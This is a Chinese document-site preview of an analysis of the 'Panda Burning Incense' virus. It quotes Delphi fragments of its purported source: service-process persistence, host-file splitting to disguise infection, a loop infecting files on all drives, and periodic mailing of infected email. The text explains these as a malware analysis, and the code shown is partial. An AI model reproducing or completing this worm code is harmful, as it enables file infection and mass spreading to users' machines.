熊猫烧香(源代码)

熊猫烧香(源代码)

ID:10886313

大小:62.00 KB

页数:5页

时间:2018-07-08

熊猫烧香(源代码)_第1页
熊猫烧香(源代码)_第2页
熊猫烧香(源代码)_第3页
熊猫烧香(源代码)_第4页
熊猫烧香(源代码)_第5页
资源描述:

《熊猫烧香(源代码)》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库

1、(一) 主程序段分析 原“熊猫烧香”病毒“源码”主程序段代码如下所示:{==================主程序开始====================} begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程//哪位兄台愿意完成之?end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.ex

2、e') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件……....Line n Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile)

3、, PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7 InfectFiles; //感染和发邮件end; end. 对于代码: RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。然后,上面代码在判断当前操作系统不是Win9X后

4、,提到“远程线程映射到Explorer进程”一句。其实这里所用Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个

5、名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象法再使用Windows了。 另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。 因此,上面代码中从n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一

6、:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。  接下来,让我们入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。  (二) 具体感染文件的过程这个子过程的源码如下所示: {遍历磁盘上所有的文件并实际感染} procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言 IsJap := True; 

7、//去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一 end; en

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。